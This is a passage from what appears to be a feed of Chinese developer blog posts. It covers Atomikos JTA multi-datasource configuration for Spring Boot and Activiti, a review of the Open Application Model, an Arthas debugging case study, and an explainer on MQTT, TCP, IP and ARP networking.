          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-aop</artifactId>
      </dependency>

      yaml配置

      #datasource
      spring:
        jta:
          enabled: true
          atomikos:
            datasource:
              act:
                xa-properties.url: jdbc:mysql://localhost:3306/lmwy_product_act?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai&pinGlobalTxToPhysicalConnection=true
                xa-properties.user: root
                xa-properties.password: 123456
                xa-data-source-class-name: com.mysql.jdbc.jdbc2.optional.MysqlXADataSource
                unique-resource-name: act
                max-pool-size: 10
                min-pool-size: 1
                max-lifetime: 10000
                borrow-connection-timeout: 10000
              business:
                xa-properties.url: jdbc:mysql://localhost:3306/lmwy_product?useUnicode=true&characterEncoding=utf8&serverTimezone=Asia/Shanghai&pinGlobalTxToPhysicalConnection=true
                xa-properties.user: root
                xa-properties.password: 123456
                xa-data-source-class-name: com.mysql.jdbc.jdbc2.optional.MysqlXADataSource
                unique-resource-name: business
                max-pool-size: 10
                min-pool-size: 1
                max-lifetime: 10000
                borrow-connection-timeout: 10000

      配置多数据源和事务管理器

      package com.zhirui.lmwy.flow.config;
      
      import com.atomikos.icatch.jta.UserTransactionImp;
      import com.atomikos.icatch.jta.UserTransactionManager;
      import org.activiti.spring.boot.AbstractProcessEngineAutoConfiguration;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.boot.context.properties.ConfigurationProperties;
      import org.springframework.boot.jdbc.DataSourceBuilder;
      import org.springframework.boot.jta.atomikos.AtomikosDataSourceBean;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      import org.springframework.transaction.jta.JtaTransactionManager;
      
      import javax.sql.DataSource;
      import javax.transaction.SystemException;
      import javax.transaction.UserTransaction;
      
      
      /**
       *  多数据源配置类
       *      1.activiti数据库连接池
       *          默认
       *      2.工作流业务数据库连接池
       *          明确指定 businessDataSource
       */
      @Configuration
      public class AtomikosConfig extends AbstractProcessEngineAutoConfiguration {
      
          @Primary
          @Bean(name = "actDatasource")
          @Qualifier("actDatasource")
          @ConfigurationProperties(prefix="spring.jta.atomikos.datasource.act")
          public DataSource actDatasource() {
              return new AtomikosDataSourceBean();
          }
      
          @Bean(name = "businessDatasource")
          @Qualifier("businessDatasource")
          @ConfigurationProperties(prefix="spring.jta.atomikos.datasource.business")
          public DataSource businessDatasource() {
              return new AtomikosDataSourceBean();
          }
      
          @Bean("jtaTransactionManager")
          @Primary
          public JtaTransactionManager activitiTransactionManager() throws SystemException {
              UserTransactionManager userTransactionManager = new UserTransactionManager();
              UserTransaction userTransaction = new UserTransactionImp();
              return new JtaTransactionManager(userTransaction, userTransactionManager);
          }
      }
      

      业务jpa绑定数据源

      package com.zhirui.lmwy.flow.config;
      
      import org.hibernate.engine.transaction.jta.platform.internal.AtomikosJtaPlatform;
      import org.springframework.beans.factory.annotation.Autowired;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.boot.autoconfigure.domain.EntityScan;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      import org.springframework.core.env.Environment;
      import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
      import org.springframework.orm.jpa.JpaTransactionManager;
      import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
      import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter;
      import org.springframework.transaction.PlatformTransactionManager;
      
      import javax.sql.DataSource;
      import javax.transaction.TransactionManager;
      import javax.transaction.UserTransaction;
      import java.util.HashMap;
      import java.util.Map;
      
      /**
       * 需要在配置类的上面加上@EnableJpaRepositories(basePackages={"dao层对应的包路径"}),这样jpa的dao层就注入进来了。结果启动spring boot 时发现,又有 Not a managed type: class ******的错误,经查询发现少了jpa entity路径的配置,在配置类的头部加上标记:@EntityScan("entity对应的包路径")
       */
      @Configuration
      @EnableJpaRepositories(
              basePackages = {"com.zhirui.lmwy.flow.dao"},//代理的dao接口所在的包
              entityManagerFactoryRef = "flowEntityManager",
              transactionManagerRef = "jtaTransactionManager" //指定jta的事务管理器
      )
      public class JpaRepositoriesConfig {
      
          @Autowired
          private Environment env;
      
          @Autowired
          @Qualifier("businessDatasource")
          private DataSource businessDataSource;
      
          /**
           * 创建entityManagerFactory工厂
           */
          @Bean
      //    @Primary
          public LocalContainerEntityManagerFactoryBean flowEntityManager() {
              // *** jta 事务管理 ***
      //        AtomikosJtaPlatform.setTransactionManager(transactionManager);
      //        AtomikosJtaPlatform.setUserTransaction(userTransaction);
      
              LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean();
      
              // *** jta datasource ***
              em.setJtaDataSource(businessDataSource);
      //        em.setDataSource(businessDataSource);
              // 配置扫描的实体类包 ,否则报错:No persistence units parsed from {classpath*:META-INF/persistence.xml}
              em.setPackagesToScan(new String[]{"com.zhirui.lmwy.flow.entity"});
              HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter();
              em.setJpaVendorAdapter(vendorAdapter);
              HashMap<String, Object> properties = new HashMap<>();
      
              // *** jta datasource ***
              properties.put("hibernate.transaction.jta.platform", AtomikosJtaPlatform.class.getName());
              properties.put("javax.persistence.transactionType", "JTA");
      
              // application.yaml配置文件的ddl-auto的值
      //      properties.put("hibernate.hbm2ddl.auto", env.getProperty("hibernate.hbm2ddl.auto"));
              properties.put("hibernate.show_sql", "true");
              properties.put("hibernate.format_sql", "true");
              // application.yaml配置文件的database-platform的值
      //      properties.put("hibernate.dialect", "org.hibernate.dialect.MySQLDialect");
              properties.put("hibernate.implicit_naming_strategy", "org.springframework.boot.orm.jpa.hibernate.SpringImplicitNamingStrategy");
              properties.put("hibernate.physical_naming_strategy", "org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy");
              em.setJpaPropertyMap(properties);
              return em;
          }
      
      }
      

      activiti绑定数据源

      package com.zhirui.lmwy.flow.config;
      
      import lombok.AllArgsConstructor;
      import org.activiti.spring.SpringProcessEngineConfiguration;
      import org.springframework.beans.factory.annotation.Autowired;
      import org.springframework.beans.factory.annotation.Qualifier;
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.context.annotation.Primary;
      import org.springframework.transaction.jta.JtaTransactionManager;
      
      import javax.sql.DataSource;
      
      /**
       * Activiti 配置
       */
      @Configuration
      @AllArgsConstructor
      public class ActivitiConfig {
      
          @Autowired
          @Qualifier("actDatasource")
          private DataSource activitiDataSource;
      
          @Bean
          @Primary
          public SpringProcessEngineConfiguration getProcessEngineConfiguration(JtaTransactionManager jtaTransactionManager) {
              SpringProcessEngineConfiguration config =
                      new SpringProcessEngineConfiguration();
              config.setDataSource(activitiDataSource);
              config.setTransactionManager(jtaTransactionManager);
              return config;
          }
      
      }
      

      测试:

      执行任务提交方法,报错后都会进行回滚

      public void commit(){
          // 操作1:activiti执行任务,用的act数据源
          taskService.complete(task.getId());
          ...
          // 操作2:更新业务流程对象,保存业务对象,用的business数据源
          flowInstanceDao.save(flowInstance);
          ...
          int a = 100 / 0;
      }

      参考:

      http://www.manongjc.com/detail/6-anzuqtksygeselj.html

      https://www.cnblogs.com/xkzhangsanx/p/11218453.html

      https://www.jianshu.com/p/099c0850ba16

      ]]>
      读完《云原生架构白皮书》,我们来谈谈开放应用模型(OAM) Fri, 02 May 2025 09:39:04 +0800

      前言

      7月21日阿里云发布了《云原生架构白皮书》,该书由阿里云众多技术专家共同编撰而成,从云原生定义、技术、架构、产品、实践和发展趋势几个方面详细介绍了云原生这一近些年来大火的技术概念。受阿里云邀请,我有幸在该书发布前试读了该书,但是由于最近比较忙,现在才有空和大家分享我的试读感受。

      熟悉我的朋友肯定知道,去年开放应用模型(OAM)概念一经提出,我就十分关注这一技术模型,最近更是参与到了该模型的实现项目 Crossplane 中,同社区中的同学共同实现云原生技术“以应用为中心”这一终极愿景。但是苦于社区中的资料都是英文,同时自己的理解又比较片面,在向身边同事和其他不了解该项技术的同学科普 OAM 时,往往很难准确表达我的观点。

      OAM 是什么?OAM 能做什么?我们为什么需要 OAM?每每被同事进行灵魂拷问时,总是不能拿出完整、条理、有说服力的东西,只能根据自己的理解以及一些零零散散的技术文章来说明我的观点,很是不爽。但是当我读到《云原生架构白皮书》第三章中的开放应用模型(OAM)章节时,我知道我的问题解决了。该章系统的介绍了 OAM 这项技术的背景、定义、概念、实现和未来,读者只要对云原生稍有理解,就能轻松从这章中找到前面那些问题的答案。

      那么 OAM 到底是什么?

      从《云原生架构白皮书》的内容出发,结合我的理解,大致将 OAM 的特点分为以下三点:

      以应用为中心

      今年是 Kubernetes 项目诞生的第六年,在这六年中,以 Kubernetes 为首的云原生技术快速的改变着我们的技术架构,一个又一个的应用被拆分成微服务,打包成容器,运行在 Kubernetes 上。然而随着微服务越拆越多,管理微服务的难度也呈指数型增长,Kubernetes 中并没有”应用“这一概念,提供给我们的只有 deployment、StatefulSet 这样工作负载粒度的资源,而一个应用,可能由多个 Deployment、Service、以及各种相关配套资源组成(如:HPA 用于弹性伸缩、Ingress 用于外部访问等)。Kubernetes 并没有提供给我们一个统一的资源或者说是方法来管理这些相关资源,各个公司只能开发自己的 PASS 平台或设立规范约束自己的应用。

      OAM 的出现补充了“应用”这一概念,建立对应用和它所需的运维能力定义与描述的标准规范。换言之,OAM 既是标准“应用定义”同时也是帮助封装、组织和管理 Kubernetes 中各种“运维能力”的工具。通过 OAM 中应用的可交付对象 - Application Configuration,我们可以轻松的掌握我们的应用到底有那些 Kubernetes 工作负载组成,这些工作负载都使用了哪些运维特性,这些内容都会以 Kubernetes API 对象的形式展示,查看起来和查看 Deployment 与 Service 资源一样方便。

      Application Configuration

      关注点分离

      在实践中,如果基础架构和应用是由不同团队维护的,由于各个团队的关注点不同、对 Kubernetes 了解的程度不同、使用习惯不同,很容易产生混乱。实际上,对于业务研发人员和运维人员而言,他们并不想配置这些如此底层的资源信息,而希望有更高维度的抽象。这就要求一个真正面向最终用户侧的应用定义,一个能够为业务研发和应用运维人员提供各自所需的应用定义原语。

      通过组件(Component)和运维特征(Trait)将业务研发人员与运维人员关注的不同特征进行分离,再将不同的运维特征(Trait)与业务组件(Component)进行绑定,最终再由OAM 可交付物 – Application Configuration 将所有组件组装为一个统一的应用。研发与运维对资源的控制进行细粒度的划分,可以有效的解决实际情况中存在的类似”我比你更懂 Kubernetes,要听我的“的现象,避免了研发与运维之间的甩锅与扯皮的情况。

      面向最终用户的应用管理平台

      这部分白皮书中并未详细提及,但这也是我们现阶段的主要工作和努力方向,经过不到一年的时间,OAM 的概念、思想已经基本成熟,而基于 OAM 的实现也已经出现 - Crossplane 项目,该项目目前为 CNCF 的 Sandbox 项目。

      Crossplane 的出现解决了平台维护者,也就是负责维护 Kubernetes 的基础设施工程师的难题。但是对于应用研发和运维人员,也就是 OAM 的最终用户,操作起来并不是十分的友好。基础设施工程师为他们提供了一堆 CRD,他们必须逐个去挑选、测试和甄别,尤其是一些运维特征(Trait)可能存在功能冲突,不能同时与一个业务组件(Component)绑定,这都都要应用研发和运维人员自己去学习和测试,虽然可以通过文档来规范,但显然这样做并不优雅,这时 OAM App Engine(暂定名 RdurX)就出现了。

      OAM App Engine 所在位置

      OAM App Engine 的目标用户群体是应用开发者,是希望终端开发者用户可以感受到 OAM 提倡的各类应用管理理念带来的价值。相比于其他基于 K8s 的应用管理平台(如 rio ),OAM App Engine 将至少具备如下三大核心价值。

      1. 插件系统:App Engine 可以通过 OAM 具备快速纳管 operator 的能力,轻松扩展各种能力。
      2. 用户体验:贴近开发者,一切设计以最终开发者使用体验至上,复杂的概念做抽象,用户熟悉的概念不隐藏。
      3. 最佳实践:App Engine 将成为 OAM 实现的最佳实践。

      OAM 架构

      OAM App Engine 由 CLI 命令行工具、 Dashboard UI 管理页面和一系列编排文件/DSL 组成,目前还处于功能设计与开发当中,预计在8月底会和用户见面。OAM App Engine 的开发者均来自 OAM 中国社区,来自不同的公司和组织,是真正的从社区中来,服务社区用户。

      欢迎对 OAM 有兴趣的朋友加入,社区每双周都会进行视频例会,欢迎大家发表自己的见解或提出相关疑问。

      OAM 中国社区

      结语

      《云原生架构白皮书》的编写集合了阿里云众多技术专家,基于这些年阿里云海量的技术实践,对云原生这一当下十分火爆概念进行了十分深入的剖析,在分享知识和实践经验的同时还对云原生相关技术、架构设计和发展趋势等内容进行分析和描述,为那些对于云原生这一概念还十分陌生和迷茫的开发者/管理者提供了一份干货满满的参考资料。这里借用白皮书序言里的一句话:

      云计算的下一站,就是云原生;

      IT 架构的下一站,就是云原生架构 ;

      希望所有的开发者、架构师和技术决策者们,共同定义、共同迎接云原生时代。

      《云原生架构白皮书》下载链接 : https://developer.aliyun.com/topic/download?id=721

      <img src="/media/20200727145559VQF.gif" style="width: 150px;">

      ]]>
      用 Arthas “庖丁解牛” Fri, 02 May 2025 09:39:04 +0800 生产环境的 bug 开发环境无法复现怎么办?关键位置没有打印日志信息不足怎么办?莫慌,骚年。让强大的 Arthas法师来 carry,带你去生产环境"遨游"闯关。

      刚接触 Arthas,就被它能够 watch 方法的输入参数和返回值的功能震惊到了。这简直太酷炫了,让你可以像本地单步调试一样,跟踪到每一步的执行结果和获取当前的变量数值。以前要定位线上问题,信息不足就需要加日志打印,定位问题,可能需要反复重启应用。用了 Arthas,根本不需要加日志打印,重启应用这些操作。花了大概一个周末下午,在本地跑了下官方 demo,熟悉了下常用操作。脑子里对 Arthas 能够做什么,能解决什么,怎么解决,已经有了大概的了解。后面需要用的时候,就能派上大用场了(学了就一定有 bug 会找上门的=.=)。

      下面介绍一个特意找上门的 bug。

      背景:同一个聊天交友类产品,对外以一个主品牌以及多个新品牌进行发布。服务端是共用一套数据的,但是所有对外展示的信息,涉及到品牌相关的,需要进行文案替换。在同一个群组里,主品牌和新品牌的用户可以互相聊天。

      问题现象:

      • 线上某个群组里面,同一条聊天消息涉及到需要替换文案的内容时,主品牌侧的用户有的显示正常,有的显示为新品牌文案;
      • 不同的群聊天消息,同一个用户有的展示正常,有的异常;
      • 新品牌侧的用户看到的群聊天消息文案替换正常。

      先贴下相关的代码(用 Arthas 的 jad 直接反编译的源码):

      群聊消息下发方法:

      image.png

      write 方法文案替换逻辑代码:

      image.png

      PublishMessage 是下行消息类,replaceMsgMap 是提前生成好的各个新品牌对应文案,主品牌使用原始消息文案。

      乍一看,文案替换逻辑没啥毛病(但问题就在这,大家可以先思考下),感觉自己又要去面对一个扑朔迷离的玄学 bug 了(永远不要把程序 bug 归结为灵异事件)。代码看不出问题,本地单步调试鼓捣了一早上,也没复现出来,看来只能在生产环境定位了,Arthas 要登场了。

      由于生产环境的消息转发量很大,直接 attach 进程风险太高,且不利于单条消息观察定位。所以选择预发布环境进行 attach,请求量可控,数据和线上一致,也只有读操作,不会影响到生产环境。

      用 Arthas 的 watch 命令,观察 write 方法的输入参数。

      image.png

      • -x 表示遍历深度,可以调整来打印具体的参数和结果内容,默认值是 1
      • -b 表示观察方法调用前

      可以看到,publishMessage、userSession 参数的值都显示出来了。接着就可以在预发布触发消息下行进行数据观察了。

      建了个测试群,除了自己一个主品牌的测试用户还有另外一个新品牌用户。最初开始发送了几条群聊消息都正常,后面又拉了一个新品牌用户以及主品牌测试用户,复现的概率就高了许多。观察了下同一条群聊消息发给每个群成员的 publishMessage 值,发现如果先遍历到了新品牌用户,再遍历到主品牌用户时,publishMessage 的文案居然是新品牌文案!!!心里猛的一惊,是了,就是这个低级错误造成的 bug,大家应该也猜到原因了。

      下面揭晓下这个问题产生的原因:

      • 遍历群成员传递的 publishMessage 形参,每次改变 payload 都会影响到被传递进去的 publishMessage 实参
      • replaceMsgMap 里只存储了新品牌文案
      • 主品牌根据 appName 获取对应文案时为空,则不设置 payload,使用最传递进来的 publishMessage 的 payload
      • 遍历群组成员时,顺序是随机性的

      如果某个主品牌用户在新品牌用户之后被遍历到,那么 publishMessage 的 payload 字段就会被设置为新品牌文案。而主品牌在 replaceMsgMap 里找不到对应文案,就不更新 payload了,复用了上一次被遍历用户的 payload,就会出现文案显示异常。

      知道原因后就好处理了,replaceMsgMap 里把主品牌的文案也加进去,每次遍历到主品牌,也更新 payload 字段,保证文案正常显示。

      整个定位过程,无需增加 log 日志,线上应用也无需重启,便能获取足够的信息进行问题排查定位,是不是贼好用了。花个半天时间,摸索鼓捣下,要用时就能省下不少工夫。详细使用文档见->官方文档

      一键安装并启动 Arthas

      • 方式一:通过 Cloud Toolkit 实现 Arthas 一键远程诊断

      Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。不仅仅有 IntelliJ IDEA 主流版本,还有 Eclipse、Pycharm、Maven 等其他版本。

      推荐使用 IDEA 插件下载 Cloud Toolkit 来使用 Arthas:http://t.tb.cn/2A5CbHWveOXzI7sFakaCw8

      • 方式二:直接下载

      地址:https://github.com/alibaba/arthas

      本文转自<阿里巴巴云原生技术圈>——阿里巴巴云原生小助手

      ]]>
      IoT 设备发送 MQTT 请求上云的曲折经历 Fri, 02 May 2025 09:39:04 +0800 IoT 设备发送 MQTT 请求上云的曲折经历

      为了搞清楚 IoT 设备从传感器获取到数据,通过网络发送到云端的整个网络过程,我们先来看一下网络分层模型:

      上图中例举了网络分层中最常见的协议:

      • 应用层:应用程序负责将数据以相应规则(协议)进行包装,发给传输层

        • MQTT:消息队列遥测传输
        • CoAP:受限应用协议
        • HTTP:超文本传输协议
        • FTP:文件传输协议
        • SMTP:简单邮件传送协议
      • 传输层:负责将应用层传过来的数据进行分组,为确保终端接收数据的顺序和完整性,会对每个分组进行标记,交给网络层

        • TCP:传输控制协议
        • UDP:用户数据协议
      • 网络层:负责将传输层发来的数据分组发送到目标终端

        • IP:网际协议
        • ICMP:互联网控制报文协议
        • IGMP:互联网组管理协议
      • 链路层:为网络层发送和接收数据单元

        • ARP:地址解析协议
        • RARP:逆地址解析协议


        封装 和 分用  


      数据在经过每一层的时候都要被对应的协议包装,即封装 (Encapsulation),到达终端的时候,要一层一层的解包,即分用(Demultiplexing)。


      发送时,设备采集的业务数据被应用程序封装为 MQTT 报文,每一层会将上层传过来的报文作为本层的数据块,并添加自己的首部,其中包含了协议标识,这一整体作为本层报文向下传递。


      接收时,数据自下而上流动,经过每一层时被去掉报文首部,根据报文标识确定正确的上层协议,最终到应用层被应用程序处理。





      IoT设备采集的业务数据被设备端上的应用程序封装为 MQTT 报文,MQTT 报文会以数据流的形式通过一条已经建立的TCP长连接按序传输,TCP收到数据流后会将其分割成小的数据块,每个小块被添加的TCP首部与数据块共同组成了TCP分组,分组经由网络层发送,网络层遵循IP协议,当收到分组发送请求后,会将分组其放入IP数据报,填充报头,将数据报发经由链路层发送出去。


      云端系统从链路层接收到数据请求后,进入网络层对数据进行解析,交给给传输层,校验分组顺序和完整性,从数据块中取出数据,得到MQTT报文,交给应用层进行处理。这个过程会逐层剥离报头还原出IoT设备采集的业务数据。


        应用层 -MQTT协议  


      MQTT是一个客户端服务端架构的发布/订阅模式的消息传输协议。它的设计思想是轻巧、开放、简单、规范,易于实现。这些特点使得它对很多场景来说都是很好的选择,特别是对于受限的环境如机器与机器的通信(M2M)以及物联网环境(IoT)。


      MQTT 协议的数据包格式非常简单,由固定报头(Fixed header)、可变报头(Variable header)、有效载荷(Payload)三个部分组成。



      固定报头:包含控制报文类型,标志位和剩余长度。

      MQTT 报文的首字节高4位(bit7~bit4)表示控制报文类型,总共可以表示16种协议类型:



      MQTT 报文的首字节低4位(bit4~bit0)用于指定数据包的标志位,仅PUBLISH控制报文有使用。

      剩余长度: MQTT 报文的第2 字节开始是用于标识 MQTT 数据包长度的字段,最少一个字节,最大四个字节,每一个字节的低 7 位用于标识值,范围为 0~127。



      可变报头:存在于部分类型的 MQTT 数据包中,具体内容由相应类型的数据包决定。


      有效载荷:存在于部分 MQTT 数据包中,存储消息的具体业务数据。


        传输层-TCP 协议  **


      MQTT 连接是建立在 TCP 连接的基础之上的,TCP 提供可靠的数据连接。当要传输一个 MQTT 报文时,报文数据会以流的形式通过一条已经打开的TCP连接按顺序传输,TCP会将收到的数据分成小块,每块是一个TCP分组。


      由于数据是分成小块发送的,所以完整可靠的数据传输主要体现在:分组是否完整、分组顺序是否正常、分组是否损坏、分组数据是否重复。这些可以通过TCP的检验和、序列号、确认应答、重发控制、连接管理和窗口机制来控制。


      TCP是传输控制协议,传输控制主要依赖首部包含的6个标志,它们控制报文的传输状态,以及发送端和接收端应对数据采取的动作。当它们的值为1时,标志对应的各自功能才允许被执行,比如当URG为1时,报文首部的紧急指针部分才有效。

      • URG 紧急指针
      • ACK 确认序号有效
      • PSH 接收方应该尽快将这个报文段交给应用层。
      • RST 重建连接
      • SYN 同步序号用来发起一个连接
      • FIN 发端完成发送任务

      image.png
      源端口和目的端口:标识发送方和接收方的端口号,一个TCP连接通过4个值确认:源IP、源端口、目的IP、目的端口,其中源IP和目的IP包含在IP分组内。


      首部长度:表示TCP首部的字节长度,也能标记出从多少个字节开始,才是需要传输的数据。


      TCP段序号:本段报文发送的数据第一个字节的序号,每段报文中的数据的每个字节都有序号,第一个字节的序号从0开始,依次加1,加到2的32次方减1后再次从0开始。


      TCP段确认序号 :当首部标志ACK为1时,确认序号有效。TCP段被接收端接收后,会回送给发送端一个确认号,为上次接受的最后一个字节序号加1。
      检验和:由发送端计算,接收端验证,如果接收方检测到检验和不正确,表明该TCP段可能有损坏,会被丢弃,同时接收端向回送一个重复的确认号(与最近的一次正确的报文传输的确认号重复),表明接收到的TCP段是错误的,并告知自己希望收到的序号。这时发送端需要立即重传出错的TCP段。


      紧急指针:当首部标志URG为1时,紧急指针有效,表示发送端向接收端要发送紧急数据。紧急指针是一个正偏移量,它和TCP段序号相加,计算出紧急数据的最后一个字节的序号。比如接收方接收到数据,从序号为1000的字节开始读取,紧急指针为1000,那么紧急数据就是序号从1000到2000之间的字节。这些数据由接收方决定如何处理。


      窗口尺寸:决定了TCP一次成块数据流的吞吐量。需要注意的是,它表示的是发送一方的允许对方发送的数据量,比如发送方首部中的窗口大小为1000,就表示发送方最多可以接受对方发来的1000个字节的数据量。这与发送方的数据缓存空间有关,会影响TCP的性能。


      首部标志PSH:如果需要告诉接收方将数据立即全部提交给接收进程,发送方需要将PSH置为1,这里的数据是和PSH一起传送的数据以及之前接收到的全部数据。如果接收方收到了PSH为1的标志,需要立即将数据提交给接收进程,不用再等待有没有其他数据进来。


      复位标志RST:当RST为1时,表示连接出现了异常情况,接收方将终止连接,通知应用层重新建立连接。


      同步序号SYN:用来建立连接,涉及到TCP的三次握手。

      1. 开始建立连接时,客户端向服务器发送一个TCP分组,分组首部的SYN为1,并携带一个初始序号,表明这是一个连接请求。
      2. 如果服务器接受了连接,会向客户端发送一个TCP分组,分组中会包含SYN和ACK,都为1,同时包含一个确认序号,值为来自客户端的初始序号 + 1,表示连接已经被接受。
      3. 客户端收到上一步发来的分组后,会再向服务器发送一段确认报文分组,ACK为1,会再次携带确认序号,值是第二步来自客户端的确认序号 + 1。服务端收到确认信息后,进入已经连接的状态。


      在第三步的确认分组中,是可以携带要发送的数据的。


      连接终止标志FIN:用来关闭连接,当一端完成数据发送任务后会发送一个FIN标志来终止连接,但因为TCP在两个方向(C-S,S-C)上会有数据传递,每个方向有各自的发送FIN & 确认关闭流程,所以会有四次交互,也称为四次挥手。

      1. 如果客户端应用层的数据发送完毕,会导致客户端的TCP报文发送一个FIN,告知服务器准备关闭数据传送。
      2. 服务器接收到这个标志后,它发回一个ACK,确认序号为收到的序号加1,同时TCP还要向应用程序发一个文件结束符。
      3. 此时服务器关闭这个方向的连接,导致它的TCP也会发送一个FIN。
      4. 客户端接收到之后发回一个确认ACK,序号为收到的序号 + 1,连接完全关闭。


      TCP段序号与确认序号保证了数据的顺序,检验和确保数据的完整性,紧急指针保证紧急数据可被及时处理。另外,TCP还有一些超时重传、 拥塞避免、慢启动的机制,都可以保证分组数据按照顺序完整的传到目标端。


        网络层- IP 协议  


      如果说TCP分组是包装货物的集装箱,那么IP就是运送集装箱的卡车。IP协议提供了两个节点之间的连接,保证将TCP数据尽可能快地从源端送到终端,但却不能保证传输的可靠性。


      IP层会将上层传过来的TCP分组封装,带上自己的首部,再进行选路、是否分片以及重组的工作,最终到达目的地,这个过程中,IP首部起了重要的作用,下面让我们看一下首部的结构。

      版本:表示当前IP协议的版本,目前版本号是4,还有一种是6,也就是IPV4和IPV6,如果发送和接收这两端的版本不一致,那么当前IP数据报会被丢弃。


      首部长度:整个首部的长度,最长为60字节。


      服务类型(TOS):用来区分服务的类型,但其实IP层在工作的时候一直没有实际使用过,现有的TOS只有4bit的子字段,和1bit的未用位。未用位必须置为0。TOS的4个bit中只能将一个置成1,用来表示当前服务类型。4bit对应的4个服务类型分别为:最小时延、最大吞吐量、最高可靠性和最小费用。


      总长度:表示当前的数据报报文的总长度,单位为字节,可以结合首部长度计算出报文内数据的大小以及起始位置。


      下面这三个首部字段涉及到IP数据报的分片与重组过程,由于网络层一般会限制每个数据帧的最大长度,IP层发送数据报会在选路的同时查询当前设备网络层的每个数据帧的最大传输长度,一旦超出,数据报就会被进行分片,到达目的地之后再进行重组,此时就会用以下三个字段作为重组依据。需要注意的是:因为存在选路的过程,数据报经过的每层路由设备对于数据帧的最大传输长度都不同,所以分片可能发生在任意一次选路的过程中。


      分组标识:这个标识相当于ID,每成功发送一个分片,IP层就会把这个分组ID加1。


      标志:共占用三位,分别是R、D、M,R目前还没有被使用,有用的是D、和M。这个字段表示了数据报的分片行为。D如果为1的话,表示数据无需分片,一次传输完;M如果为1,表示数据是分片的,后边还有数据,当它为0时,就表示当前数据报是最后一个分片,或者只有这一个分片。


      片偏移:标识了当前分片距离原始数据报开始处的位置,分片之后,每一片的总长度会改成这一片的长度值,而不是整个数据报的长度。


      生存时间:(TTL) 可以决定数据报是否被丢弃。因为IP发送数据是逐跳的,数据有可能在被设置了路由功能的不同的IP层之间转发,所以生存时间表示了数据报最多个可以经过多少个处理过它的路由,每经过一层路由,值减去1,当值为0时数据报就被丢弃,并且发送一个带有错误消息的报文(ICMP,IP层的组成部分,被用来传递一些错误信息)给源端。生存时间可以有效解决数据报在一个路由环路中一直转发的问题。


      首部检验和:校验数据报的完整性,发送端对首部进行求和,将结果存在检验和中,接收端再计算一遍,如果计算结果与存在检验和中的结果一致,则说明传输过程是OK的,否则这个数据报就会被丢弃。


      上层协议:决定了接收端在分用的时候将数据交给哪个上层协议去处理,例如TCP或者UDP。


      源IP:记录了发送端的IP,在回送错误消息时用到。


      目的IP:表示目的IP,每一次选路都要以它来做决策。

      路由选择


      因为IP首部只包含了目的IP地址,并不体现完整的路径,当向外发送数据时,IP层会根据目的IP在本机路由表中的查询结果来做出选路决策,数据报会逐跳地被运送到目的地,这里的每一跳,就是一次路由选择。


      IP层既可配置成路由器,也可以配置成主机。当配置成路由功能时,可以对数据报进行转发,配置成主机时,如果目的IP不是本机IP,数据报会被丢弃。


      具有路由功能的IP层在当目标IP不是本机地址的时候是根据什么判断转发到哪一站呢?要理解这个问题,需要先明白路由表的结构,以下是IP层维护的路由表:

      • Destination(目的IP):表示IP数据报最终要到达或者经过的网络地址或者主机地址。
      • Gateway(下一跳地址):当前维护路由表设备的相邻路由器的地址
      • Flags(标志):表示当前这一条路由记录的属性,具体用五个不同的标志来表示:

        • U:该路由可以使用
        • G:如果有这个标志,表示是下一跳是一个网关,如果没有,表示下一跳是和当前设备在一个网段,也就是可以直接把数据报发过去
        • H: 下一跳是一个主机还是一个网络,有这个标志,表示主机,没有,则表示下一跳的路由是一个网络
        • D:该路由是由重定向报文创建的
        • M:该路由已被重定向报文修改
      • Interface:当前路由项的物理端口


      每收到一个数据报时候,IP层就会根据目的IP在路由表里查询,根据查询状态会导向三种结果:

      • 找到了与目的IP完全匹配的路由项,将报文发给该路由项的下一站路由(Gateway)或者网络接口(Interface)
      • 找到了与目的IP的网络号匹配的路由项,将报文发给该路由项的下一站路由(Gateway)或者网络接口(Interface)
      • 前两者都没有找到,就看路由表里有没有默认路由项(default),有的话发给它指定的下一站路由(Gateway)


      要是上边三个都没有结果,那么数据报就不能被发送。IP数据报就是这样一跳一跳地被送往目的主机的,但数据报有固有的长度,一旦超出了目的主机的MTU,就会被分片。

      数据报分片的概念


      TCP在进行握手的时候,会根据目的端IP层的最大传输单元(MTU)来决定TCP数据每次能传输的最大数据量(MSS),之后TCP会对数据依照MSS来进行分组,每个分组会被包装进一个IP数据报内。当IP数据报经过选路过程中的任意一层路由时,有可能被MTU限制住从而被分片,这时IP首部的3bit标志中的M标志被置为1,表示需要分片。每个分片的首部基本一样,只是片偏移有所不同。依据片偏移,这些分片在目的端被重组成一个完整的IP数据报(一个TCP分组)。IP传输是无序的,所以得到的数据报也是无序的,但如果数据完整,TCP会根据首部中的字段对其进行排序。一旦IP分片丢失,IP层无法组成完整的数据报,就会告诉TCP层,TCP进行重传。


        链路层-ARP 协议  **


      当IP层将数据封装好之后,只有目标主机的IP地址。光有IP地址并不能直接把数据报发送过去,因为每一台硬件设备都有自己的MAC地址,是一个48bit的值。现在知道目标IP的地址,需要找到这个IP对应的MAC地址。这个过程要通过查询路由表,再结合链路层的ARP协议,最终获得目标IP对应的MAC地址。
      ARP协议实现了从IP地址到MAC地址的映射。一开始,起点并不知道目标的MAC地址,只有目标IP,要获取这个地址就涉及到了ARP的请求和应答。同样,ARP也有自己的分组,先看一下分组格式。

      以太网目的地址: 目的端的MAC地址,当ARP缓存表中没有的时候,这里为广播地址。


